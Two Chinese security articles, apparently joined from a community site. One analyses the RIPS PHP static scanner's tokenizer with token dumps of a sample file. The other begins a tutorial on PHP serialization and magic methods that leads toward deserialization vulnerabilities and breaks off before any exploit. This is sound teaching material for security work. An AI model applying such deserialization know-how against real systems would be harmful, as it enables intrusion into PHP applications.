将 `xxxx` 转换为 xxx()
接下来进入`else if`.
首先是`if`语句,进入`if`语句的条件为:
1. T_IF
2. T_ELSEIF
3. T_FOR
4. T_FOREACH
5. T_WHILE
6. 以上五个条件任意成立一个并且 $this->tokens[$i+1] === '(' 成立
接下来是一个`while`语句,结合上面的经验,我们可以知道这其实是在对括号中的内容定位,然而并没有出现记录相关的操作,结合`T_IF`此类token信息,不难分析出这一步的`while`实质是跳过其中的条件语句.
接着`while`语句的为一个`if`语句,相关代码为:
if($this->tokens[$i+$f] === ':')
{
switch($this->tokens[$i][0])
{
case T_IF:
case T_ELSEIF: $endtoken = T_ENDIF; break;
case T_FOR: $endtoken = T_ENDFOR; break;
case T_FOREACH: $endtoken = T_ENDFOREACH; break;
case T_WHILE: $endtoken = T_ENDWHILE; break;
default: $endtoken = ';';
}
$c=1;
while( $this->tokens[$i+$f+$c][0] !== $endtoken)
{
$c++;
if(!isset($this->tokens[$i+$f+$c]))
{
addError('Could not find end'.$this->tokens[$i][1].'; of alternate '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, $f+1), $this->tokens[$i][2], $this->filename);
break;
}
}
$this->wrapbraces($i+$f+1, $c+1, $i+$f+$c+2);
}
进入`if`的条件为:
1. `$this->tokens[$i+$f] === ':'`
而`if`语句则是switch语句,分别对应`T_IF`一类的条件语句,然而再结合前面的`$this->tokens[$i+$f] ===
':'`这个条件则让人有点不解.
这一部分其实是php的替代语法.比如:
<?php if($a<0): ?>
123
<?php endif; ?>
替代语法的语法结构与我们常用的语法结构不同这一点十分重要.
在`switch`语句中,设置了对应不同token的结束符号,而接下来的while语句则是不断寻找对应的结束符号的出现位置.
在最后出现了函数`wrapbraces`.跟入:
function wrapbraces($start, $between, $end)
{
$this->tokens = array_merge(
array_slice($this->tokens, 0, $start), array('{'),
array_slice($this->tokens, $start, $between), array('}'),
array_slice($this->tokens, $end)
);
}
与上面出现的`array_merge`作用类似,都是为了补齐语法结构,符合我们平常的使用习惯
<?php if($a<0) { ?>
123
<?php }?>
到这一步为止,语法结构补完.
对应的`else if`语句则为:
else if($this->tokens[$i+$f] !== '{' && $this->tokens[$i+$f] !== ';'){
$c=1;
while($this->tokens[$i+$f+$c] !== ';' && $c<$max)
{
$c++;
}
$this->wrapbraces($i+$f, $c+1, $i+$f+$c+1);
}
由于我们已经跳过了判断的条件语句,那么此时`$token[$i+$f]`对应的其实是`{`,但是可以看到这里的`else if`判断条件便是`不为{ 且不为
;`.
此类代码如下:
if($a==1) echo 1;
于是在这个`else if`语句里出现了`while`循环用以寻找这个语句块的结尾,并通过`$this->wrapbraces`来补齐语法结构.
再跟入下一个
else if(
$this->tokens[$i][0] === T_ELSE
&& $this->tokens[$i+1][0] !== T_IF
&& $this->tokens[$i+1] !== '{')
{
$f=2;
while( $this->tokens[$i+$f] !== ';' && $f<$max)
{
$f++;
}
$this->wrapbraces($i+1, $f, $i+$f+1);
}
语法结构基本一样,根据条件判断,该语句是用来补全`else`结构的`{`.
再往下依然是`else if`,代码如下:
else if( $this->tokens[$i][0] === T_SWITCH && $this->tokens[$i+1] === '(')
{
$newbraceopen = 1;
$c=2;
while( $newbraceopen !== 0 )
{
if( $this->tokens[$i + $c] === '(' )
{
$newbraceopen++;
}
else if( $this->tokens[$i + $c] === ')' )
{
$newbraceopen--;
}
else if(!isset($this->tokens[$i+$c]) || $this->tokens[$i + $c] === ';')
{
addError('Could not find closing parenthesis of switch-statement.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->filename);
break;
}
$c++;
}
// switch(): ... endswitch;
if($this->tokens[$i + $c] === ':')
{
$f=1;
while( $this->tokens[$i+$c+$f][0] !== T_ENDSWITCH)
{
$f++;
if(!isset($this->tokens[$i+$c+$f]))
{
addError('Could not find endswitch; of alternate switch-statement.', array_slice($this->tokens, $i, $c+1), $this->tokens[$i][2], $this->filename);
break;
}
}
$this->wrapbraces($i+$c+1, $f+1, $i+$c+$f+2);
}
}
该`else if`语句进入的条件为`switch`语句,根据前面的经验,我们可以知道第一个`while`语句是用来寻找`swicth`的条件值,而下面的
if($this->tokens[$i + $c] === ':')
{
$f=1;
while( $this->tokens[$i+$c+$f][0] !== T_ENDSWITCH)
{
$f++;
if(!isset($this->tokens[$i+$c+$f]))
{
addError('Could not find endswitch; of alternate switch-statement.', array_slice($this->tokens, $i, $c+1), $this->tokens[$i][2], $this->filename);
break;
}
}
$this->wrapbraces($i+$c+1, $f+1, $i+$c+$f+2);
}
则是用来寻找`switch`语句的结尾并使用`{}`包裹,使之形成一个代码块.
继续看向下一个`else if`块:
else if( $this->tokens[$i][0] === T_CASE )
{
$e=1;
while($this->tokens[$i+$e] !== ':' && $this->tokens[$i+$e] !== ';')
{
$e++;
if(!isset($this->tokens[$i+$e]))
{
addError('Could not find : or ; after '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
$f=$e+1;
if(($this->tokens[$i+$e] === ':' || $this->tokens[$i+$e] === ';')
&& $this->tokens[$i+$f] !== '{'
&& $this->tokens[$i+$f][0] !== T_CASE && $this->tokens[$i+$f][0] !== T_DEFAULT)
{
$newbraceopen = 0;
while($newbraceopen || (isset($this->tokens[$i+$f]) && $this->tokens[$i+$f] !== '}'
&& !(is_array($this->tokens[$i+$f])
&& ($this->tokens[$i+$f][0] === T_BREAK || $this->tokens[$i+$f][0] === T_CASE
|| $this->tokens[$i+$f][0] === T_DEFAULT || $this->tokens[$i+$f][0] === T_ENDSWITCH) ) ))
{
if($this->tokens[$i+$f] === '{')
$newbraceopen++;
else if($this->tokens[$i+$f] === '}')
$newbraceopen--;
$f++;
if(!isset($this->tokens[$i+$f]))
{
addError('Could not find ending of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, $e+5), $this->tokens[$i][2], $this->filename);
break;
}
}
if($this->tokens[$i+$f][0] === T_BREAK)
{
if($this->tokens[$i+$f+1] === ';')
$this->wrapbraces($i+$e+1, $f-$e+1, $i+$f+2);
// break 3;
else
$this->wrapbraces($i+$e+1, $f-$e+2, $i+$f+3);
}
else
{
$this->wrapbraces($i+$e+1, $f-$e-1, $i+$f);
}
$i++;
}
}
类似的语法结构,使用`while`定位到冒号,跳过`case`条件,将`case xxx:yyyy`分割成`case xxx`、`:yyyy`两段.
随后开始处理第二段.
接着的是`if`语句,进入的条件为:
1. `$this->tokens[$i+$e]`为`:` 或 `$this->tokens[$i+$e]`为`;`
2. `$this->tokens[$i+$f]`不为`{`
3. `$this->tokens[$i+$f][0]`不为`T_CASE`或`T_DEFAULT`
在`if`语句继续包裹了一个条件要求较多的`while`语句,对应的条件如下:
while(
$newbraceopen
||
(
isset($this->tokens[$i+$f])
&&
$this->tokens[$i+$f] !== '}'
&&
!(
is_array($this->tokens[$i+$f])
&&
(
$this->tokens[$i+$f][0] === T_BREAK
||
$this->tokens[$i+$f][0] === T_CASE
||
$this->tokens[$i+$f][0] === T_DEFAULT
||
$this->tokens[$i+$f][0] === T_ENDSWITCH)
)
)
)
即:
1. $newbraceopen小于等于0
2. `$this->tokens[$i+$f][0]`处的token不为`}`或`T_BREAK`,`T_CASE`,`T_DEFAULT`,`T_ENDSWITCH`
通过这一步操作,```swicth```语句下多个条件得以分开,而接下来的语句为:
```php
if($this->tokens[$i+$f][0] === T_BREAK)
{
if($this->tokens[$i+$f+1] === ';')
$this->wrapbraces($i+$e+1, $f-$e+1, $i+$f+2);
else
$this->wrapbraces($i+$e+1, $f-$e+2, $i+$f+3);
}
else
{
$this->wrapbraces($i+$e+1, $f-$e-1, $i+$f);
}
这一段主要作用为在`break`语句处加上`{}`,补全语法结构.
接下来是与上面判断为`case`同级的`else if`语句,代码如下:
else if( $this->tokens[$i][0] === T_DEFAULT
&& $this->tokens[$i+2] !== '{' )
{
$f=2;
$newbraceopen = 0;
while( $this->tokens[$i+$f] !== ';' && $this->tokens[$i+$f] !== '}' || $newbraceopen )
{
if($this->tokens[$i+$f] === '{')
$newbraceopen++;
else if($this->tokens[$i+$f] === '}')
$newbraceopen--;
$f++;
if(!isset($this->tokens[$i+$f]))
{
addError('Could not find ending of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
$this->wrapbraces($i+2, $f-1, $i+$f+1);
}
该语句进入的条件为token索引信息对应为`T_DEFAULT`.
结合上面的分析经验,本段代码作用为将default的条件部分使用花括号包括,补全语法结构.
再往下为:
else if( $this->tokens[$i][0] === T_FUNCTION )
{
$this->tokens[$i+1][1] = strtolower($this->tokens[$i+1][1]);
}
else if( $this->tokens[$i][0] === T_STRING && $this->tokens[$i+1] === '(')
{
$this->tokens[$i][1] = strtolower($this->tokens[$i][1]);
}
这一段是将函数名全部小写,并没有太多要详细说明的内容.接下来是`else if`语句:
else if( $this->tokens[$i][0] === T_DO )
{
$f=2;
$otherDOs = 0;
//找到最外层的while,跳过内层while
while( $this->tokens[$i+$f][0] !== T_WHILE || $otherDOs )
{
if($this->tokens[$i+$f][0] === T_DO)
$otherDOs++;
else if($this->tokens[$i+$f][0] === T_WHILE)
$otherDOs--;
$f++;
if(!isset($this->tokens[$i+$f]))
{
addError('Could not find WHILE of DO-WHILE-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
// 补齐花括号
if($this->tokens[$i+1] !== '{')
{
$this->wrapbraces($i+1, $f-1, $i+$f);
// by adding braces we added two new tokens
$f+=2;
}
$d=1;
//$max=count($this->tokens) 因此该while语句为在寻找临近do-while的距离
while( $this->tokens[$i+$f+$d] !== ';' \&\& $d<$max )
{
$d++;
}
// 将token中的do-while变为while
$this->tokens = array_merge(
array_slice($this->tokens, 0, $i), // before DO
array_slice($this->tokens, $i+$f, $d), // WHILE condition
array_slice($this->tokens, $i+1, $f-1), // DO WHILE loop tokens
array_slice($this->tokens, $i+$f+$d+1, count($this->tokens)) // rest of tokens without while condition
);
}
在前面的基础上,我们再来分析这一段代码便简单许多,简化一下描述便是:该段代码用以整合do-while语句,补齐语法结构并将`do-while`精简为`while`.
最后返回精简过的`token`信息:
$this->tokens = array_values($this->tokens);
**fix_ternary函数分析**
从函数名分析分析,该函数作用为处理三元操作符,使其变为我们常见的语法习惯.大体结构仍然为`for`循环搭配`return`语句.
首先是`if`语句判断是否为`?`,为真则进入.并在进入后立即删除问号,随后判断在问号之前的符号是否为`)`,为真则进入,随后又删除反括号.并通过while语句将问号之前的使用括号包裹的token信息删除,直到找到最外层括号,结束while语句.
随后是if语句:
if($this->tokens[$i-$f] === '!'
|| (
is_array($this->tokens[$i-$f])
&& ($this->tokens[$i-$f][0] === T_STRING
|| $this->tokens[$i-$f][0] === T_EMPTY
|| $this->tokens[$i-$f][0] === T_ISSET
)
)
){
unset($this->tokens[$i-$f]);
}
该段if语句满足以下条件之一即可进行删除token信息处理:
1. $this->tokens[$i-$f] 为 !
2. $this->tokens[$i-$f] 为 字符串、is_empty()、isset()
接着进入与上面if同级的else if语句中:
else if(in_array($this->tokens[$i-2][0], Tokens::$T_ASSIGNMENT) || in_array($this->tokens[$i-2][0], Tokens::$T_OPERATOR) )
可以看出,仅当`$this->tokens[$i-2][0]`为指定的token信息时,才会进入接下来的操作,而指定的token信息为:
1. $T_ASSIGNMENT // 赋值符
2. $T_OPERATOR // 操作符
其中,`$T_ASSIGNMENT`为:
public static $T_ASSIGNMENT = array(
T_AND_EQUAL,
T_CONCAT_EQUAL,
T_DIV_EQUAL,
T_MINUS_EQUAL,
T_MOD_EQUAL,
T_MUL_EQUAL,
T_OR_EQUAL,
T_PLUS_EQUAL,
T_SL_EQUAL,
T_SR_EQUAL,
T_XOR_EQUAL
);
而`$T_OPERATOR`为:
public static $T_OPERATOR = array(
T_IS_EQUAL,
T_IS_GREATER_OR_EQUAL,
T_IS_IDENTICAL,
T_IS_NOT_EQUAL,
T_IS_NOT_IDENTICAL,
T_IS_SMALLER_OR_EQUAL
);
而在接下来的操作中,rips删除了`$this->tokens[$i-1]`以及`$this->tokens[$i-2]`的token信息,这里删除`-1`与`-2`位置的token是因为上面的操作符通常都是成对出现的,如`T_AND_EQUAL`对应的操作符为`&=`,因此需要删除`$i-1`与`$i-2`处的token才能保证操作符被删除干净.
而接下来的`while`语句则与前面的作用相同,都是用以删除在目标位置前,包裹在括号内的内容以及某几个特定的`token`信息.
随后进行最后的一次if判断,判断是否条件部分为单独的一个变量,如是,则删除.
最终返回token信息,至此,rips的`token`分析过程结束
### Scanner效果展示
我们自定义待扫描文件内容为:
<?php
$a = $_GET['a'];
$b = $_POST['b'];
$c = array("c"=>"c","d"=>"d");
$d = ['1','2'];
// xxxxxxx
//
`ls`;
if($a=="1") $b="2";
$a=isset($c)?"aa":"bb";
分别在`prepare_token`,`array_reconstruct_tokens`,`fix_tokens`,`fix_ternary`函数尾处添加var_dump函数,并在`tokenize`函数尾处写入`die()`
首先输出的token为:
0|1|/Applications/MAMP/htdocs/aaa.php|0| 0|1|/Applications/MAMP/htdocs/aaa.php (tokenizing)|0|
/Applications/MAMP/htdocs/rips/lib/tokenizer.php:92:
array (size=60)
0 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 3
1 => string '=' (length=1)
2 =>
array (size=3)
0 => int 320
1 => string '$_GET' (length=5)
2 => int 3
3 => string '[' (length=1)
4 =>
array (size=3)
0 => int 323
1 => string ''a'' (length=3)
2 => int 3
5 => string ']' (length=1)
6 => string ';' (length=1)
7 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 4
8 => string '=' (length=1)
9 =>
array (size=3)
0 => int 320
1 => string '$_POST' (length=6)
2 => int 4
10 => string '[' (length=1)
11 =>
array (size=3)
0 => int 323
1 => string ''b'' (length=3)
2 => int 4
12 => string ']' (length=1)
13 => string ';' (length=1)
14 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 5
15 => string '=' (length=1)
16 =>
array (size=3)
0 => int 368
1 => string 'array' (length=5)
2 => int 5
17 => string '(' (length=1)
18 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
19 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
20 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
21 => string ',' (length=1)
22 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
23 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
24 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
25 => string ')' (length=1)
26 => string ';' (length=1)
27 =>
array (size=3)
0 => int 320
1 => string '$d' (length=2)
2 => int 6
28 => string '=' (length=1)
29 => string '[' (length=1)
30 =>
array (size=3)
0 => int 323
1 => string ''1'' (length=3)
2 => int 6
31 => string ',' (length=1)
32 =>
array (size=3)
0 => int 323
1 => string ''2'' (length=3)
2 => int 6
33 => string ']' (length=1)
34 => string ';' (length=1)
35 => string '`' (length=1)
36 =>
array (size=3)
0 => int 322
1 => string 'ls' (length=2)
2 => int 9
37 => string '`' (length=1)
38 => string ';' (length=1)
39 =>
array (size=3)
0 => int 327
1 => string 'if' (length=2)
2 => int 11
40 => string '(' (length=1)
41 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 11
42 =>
array (size=3)
0 => int 285
1 => string '==' (length=2)
2 => int 11
43 =>
array (size=3)
0 => int 323
1 => string '"1"' (length=3)
2 => int 11
44 => string ')' (length=1)
45 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 11
46 => string '=' (length=1)
47 =>
array (size=3)
0 => int 323
1 => string '"2"' (length=3)
2 => int 11
48 => string ';' (length=1)
49 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 13
50 => string '=' (length=1)
51 =>
array (size=3)
0 => int 358
1 => string 'isset' (length=5)
2 => int 13
52 => string '(' (length=1)
53 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 13
54 => string ')' (length=1)
55 => string '?' (length=1)
56 =>
array (size=3)
0 => int 323
1 => string '"aa"' (length=4)
2 => int 13
57 => string ':' (length=1)
58 =>
array (size=3)
0 => int 323
1 => string '"bb"' (length=4)
2 => int 13
59 => string ';'
随后经过`array_reconstruct_tokens`函数处理,重写了数组相关的`token`信息:
/Applications/MAMP/htdocs/rips/lib/tokenizer.php:454:
array (size=54)
0 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 3
1 => string '=' (length=1)
2 =>
array (size=4)
0 => int 320
1 => string '$_GET' (length=5)
2 => int 3
3 =>
array (size=1)
0 => string 'a' (length=1)
3 => string ';' (length=1)
4 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 4
5 => string '=' (length=1)
6 =>
array (size=4)
0 => int 320
1 => string '$_POST' (length=6)
2 => int 4
3 =>
array (size=1)
0 => string 'b' (length=1)
7 => string ';' (length=1)
8 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 5
9 => string '=' (length=1)
10 =>
array (size=3)
0 => int 368
1 => string 'array' (length=5)
2 => int 5
11 => string '(' (length=1)
12 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
13 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
14 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
15 => string ',' (length=1)
16 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
17 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
18 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
19 => string ')' (length=1)
20 => string ';' (length=1)
21 =>
array (size=3)
0 => int 320
1 => string '$d' (length=2)
2 => int 6
22 => string '=' (length=1)
23 => string '[' (length=1)
24 =>
array (size=3)
0 => int 323
1 => string ''1'' (length=3)
2 => int 6
25 => string ',' (length=1)
26 =>
array (size=3)
0 => int 323
1 => string ''2'' (length=3)
2 => int 6
27 => string ']' (length=1)
28 => string ';' (length=1)
29 => string '`' (length=1)
30 =>
array (size=3)
0 => int 322
1 => string 'ls' (length=2)
2 => int 9
31 => string '`' (length=1)
32 => string ';' (length=1)
33 =>
array (size=3)
0 => int 327
1 => string 'if' (length=2)
2 => int 11
34 => string '(' (length=1)
35 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 11
36 =>
array (size=3)
0 => int 285
1 => string '==' (length=2)
2 => int 11
37 =>
array (size=3)
0 => int 323
1 => string '"1"' (length=3)
2 => int 11
38 => string ')' (length=1)
39 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 11
40 => string '=' (length=1)
41 =>
array (size=3)
0 => int 323
1 => string '"2"' (length=3)
2 => int 11
42 => string ';' (length=1)
43 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 13
44 => string '=' (length=1)
45 =>
array (size=3)
0 => int 358
1 => string 'isset' (length=5)
2 => int 13
46 => string '(' (length=1)
47 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 13
48 => string ')' (length=1)
49 => string '?' (length=1)
50 =>
array (size=3)
0 => int 323
1 => string '"aa"' (length=4)
2 => int 13
51 => string ':' (length=1)
52 =>
array (size=3)
0 => int 323
1 => string '"bb"' (length=4)
2 => int 13
53 => string ';' (length=1)
再经过`fix_tokens`处理,统一了部分token信息的写法(如对if语句统一使用花括号的标示形式)
/Applications/MAMP/htdocs/rips/lib/tokenizer.php:379:
array (size=57)
0 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 3
1 => string '=' (length=1)
2 =>
array (size=4)
0 => int 320
1 => string '$_GET' (length=5)
2 => int 3
3 =>
array (size=1)
0 => string 'a' (length=1)
3 => string ';' (length=1)
4 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 4
5 => string '=' (length=1)
6 =>
array (size=4)
0 => int 320
1 => string '$_POST' (length=6)
2 => int 4
3 =>
array (size=1)
0 => string 'b' (length=1)
7 => string ';' (length=1)
8 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 5
9 => string '=' (length=1)
10 =>
array (size=3)
0 => int 368
1 => string 'array' (length=5)
2 => int 5
11 => string '(' (length=1)
12 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
13 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
14 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
15 => string ',' (length=1)
16 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
17 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
18 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
19 => string ')' (length=1)
20 => string ';' (length=1)
21 =>
array (size=3)
0 => int 320
1 => string '$d' (length=2)
2 => int 6
22 => string '=' (length=1)
23 => string '[' (length=1)
24 =>
array (size=3)
0 => int 323
1 => string ''1'' (length=3)
2 => int 6
25 => string ',' (length=1)
26 =>
array (size=3)
0 => int 323
1 => string ''2'' (length=3)
2 => int 6
27 => string ']' (length=1)
28 => string ';' (length=1)
29 =>
array (size=3)
0 => int 319
1 => string 'backticks' (length=9)
2 => int 9
30 => string '(' (length=1)
31 =>
array (size=3)
0 => int 322
1 => string 'ls' (length=2)
2 => int 9
32 => string ')' (length=1)
33 => string ';' (length=1)
34 =>
array (size=3)
0 => int 327
1 => string 'if' (length=2)
2 => int 11
35 => string '(' (length=1)
36 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 11
37 =>
array (size=3)
0 => int 285
1 => string '==' (length=2)
2 => int 11
38 =>
array (size=3)
0 => int 323
1 => string '"1"' (length=3)
2 => int 11
39 => string ')' (length=1)
40 => string '{' (length=1)
41 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 11
42 => string '=' (length=1)
43 =>
array (size=3)
0 => int 323
1 => string '"2"' (length=3)
2 => int 11
44 => string ';' (length=1)
45 => string '}' (length=1)
46 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 13
47 => string '=' (length=1)
48 =>
array (size=3)
0 => int 358
1 => string 'isset' (length=5)
2 => int 13
49 => string '(' (length=1)
50 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 13
51 => string ')' (length=1)
52 => string '?' (length=1)
53 =>
array (size=3)
0 => int 323
1 => string '"aa"' (length=4)
2 => int 13
54 => string ':' (length=1)
55 =>
array (size=3)
0 => int 323
1 => string '"bb"' (length=4)
2 => int 13
56 => string ';' (length=1)
最终经过`fix_ternary`函数处理,是三元运算符的表达形式得到重写(`$a=isset($c)?"aa":"bb";` =>
`$a="aa":"bb"`):
/Applications/MAMP/htdocs/rips/lib/tokenizer.php:558:
array (size=52)
0 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 3
1 => string '=' (length=1)
2 =>
array (size=4)
0 => int 320
1 => string '$_GET' (length=5)
2 => int 3
3 =>
array (size=1)
0 => string 'a' (length=1)
3 => string ';' (length=1)
4 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 4
5 => string '=' (length=1)
6 =>
array (size=4)
0 => int 320
1 => string '$_POST' (length=6)
2 => int 4
3 =>
array (size=1)
0 => string 'b' (length=1)
7 => string ';' (length=1)
8 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 5
9 => string '=' (length=1)
10 =>
array (size=3)
0 => int 368
1 => string 'array' (length=5)
2 => int 5
11 => string '(' (length=1)
12 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
13 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
14 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
15 => string ',' (length=1)
16 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
17 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
18 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
19 => string ')' (length=1)
20 => string ';' (length=1)
21 =>
array (size=3)
0 => int 320
1 => string '$d' (length=2)
2 => int 6
22 => string '=' (length=1)
23 => string '[' (length=1)
24 =>
array (size=3)
0 => int 323
1 => string ''1'' (length=3)
2 => int 6
25 => string ',' (length=1)
26 =>
array (size=3)
0 => int 323
1 => string ''2'' (length=3)
2 => int 6
27 => string ']' (length=1)
28 => string ';' (length=1)
29 =>
array (size=3)
0 => int 319
1 => string 'backticks' (length=9)
2 => int 9
30 => string '(' (length=1)
31 =>
array (size=3)
0 => int 322
1 => string 'ls' (length=2)
2 => int 9
32 => string ')' (length=1)
33 => string ';' (length=1)
34 =>
array (size=3)
0 => int 327
1 => string 'if' (length=2)
2 => int 11
35 => string '(' (length=1)
36 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 11
37 =>
array (size=3)
0 => int 285
1 => string '==' (length=2)
2 => int 11
38 =>
array (size=3)
0 => int 323
1 => string '"1"' (length=3)
2 => int 11
39 => string ')' (length=1)
40 => string '{' (length=1)
41 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 11
42 => string '=' (length=1)
43 =>
array (size=3)
0 => int 323
1 => string '"2"' (length=3)
2 => int 11
44 => string ';' (length=1)
45 => string '}' (length=1)
46 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 13
47 => string '=' (length=1)
48 =>
array (size=3)
0 => int 323
1 => string '"aa"' (length=4)
2 => int 13
49 => string ':' (length=1)
50 =>
array (size=3)
0 => int 323
1 => string '"bb"' (length=4)
2 => int 13
51 => string ';' (length=1)
### 流程总结
1. 通过`prepare_token`生成初始token信息
2. 通过`array_reconstruct_tokens`函数重写数组相关token信息
3. 通过`fix_tokens`修复大量写法不统一的语句
4. 用过`fix_ternary`统一三元运算符的表达形式
通过以上四步,我们可以得到大致处理好的token信息,而对于漏洞的扫描也是建立在上面这四步生成的token信息基础上的。 | 社区文章 |
## 前言：
最近又接触了几道php反序列化的题目，觉得对反序列化的理解又加深了一点，这次就在之前的学习的基础上进行补充。
## **0x00:PHP序列化**
#### **函数 : serialize()**
> 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。
> 序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。
一开始看这个概念可能有些懵，看了很多大师傅们的博客后，慢慢明白这个概念的道理。
**在程序执行结束时，内存数据便会立即销毁，变量所储存的数据便是内存数据，而文件、数据库是“持久数据”，因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。**
$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
file_put_contents(‘./目标文本文件’, $s); //将$s保存到指定文件
下面通过一个具体的例子来了解一下序列化：
输出序列化后的结果：
User lemon is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:5:"lemon";}
可以看到序列化一个对象后将会保存对象的所有变量，并且发现序列化后的结果都有一个字符，这些字符都是以下字母的缩写。
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
了解了缩写的类型字母，便可以得到PHP序列化格式
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:5:"lemon";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
通过以上例子，便可以理解了概念中的`通过serialize()函数返回一个包含字节流的字符串`这一段话。
## **0x01:PHP反序列化**
#### **函数：unserialize()**
> unserialize() 对单一的已序列化的变量进行操作，将其转换回 PHP 的值。 在解序列化一个对象前，这个对象的类必须在解序列化之前定义。
简单来理解起来就算 **将序列化过存储到文件中的数据，恢复到程序代码的变量表示形式的过程** ，恢复到变量序列化之前的结果。
$s = file_get_contents(‘./目标文本文件’); //取得文本文件的内容（之前序列化过的字符串）
$变量 = unserialize($s); //将该文本内容，反序列化到指定的变量中
通过一个例子来了解反序列化：
输出结果：
User lemon is 20 years old.
**注意：在解序列化一个对象前，这个对象的类必须在解序列化之前定义。否则会报错**
在先知上看大师傅举得例子对序列化和反序列化的介绍，也很好理解。
<?php
class A{
var $test = "demo";
}
$a = new A(); // 生成a对象
$b = serialize($a); // 序列化a对象为b
$c = unserialize($b); // 反序列化b对象为c
print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test); // 输出对象c中test的值:demo
?>
## **0x02:PHP反序列化漏洞**
在学习漏洞前，先来了解一下PHP魔法函数，对接下来的学习会很有帮助
> PHP 将所有以 __（两个下划线）开头的类方法保留为魔术方法
__construct 当一个对象创建时被调用，
__destruct 当一个对象销毁时被调用，
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
这里只列出了一部分的魔法函数，具体可见[PHP 手册
](http://www.php.net/manual/zh/language.oop5.magic.php)
下面通过一个例子来了解一下魔法函数被自动调用的过程
<?php
class test{
public $varr1="abc";
public $varr2="123";
public function echoP(){
echo $this->varr1."<br>";
}
public function __construct(){
echo "__construct<br>";
}
public function __destruct(){
echo "__destruct<br>";
}
public function __toString(){
return "__toString<br>";
}
public function __sleep(){
echo "__sleep<br>";
return array('varr1','varr2');
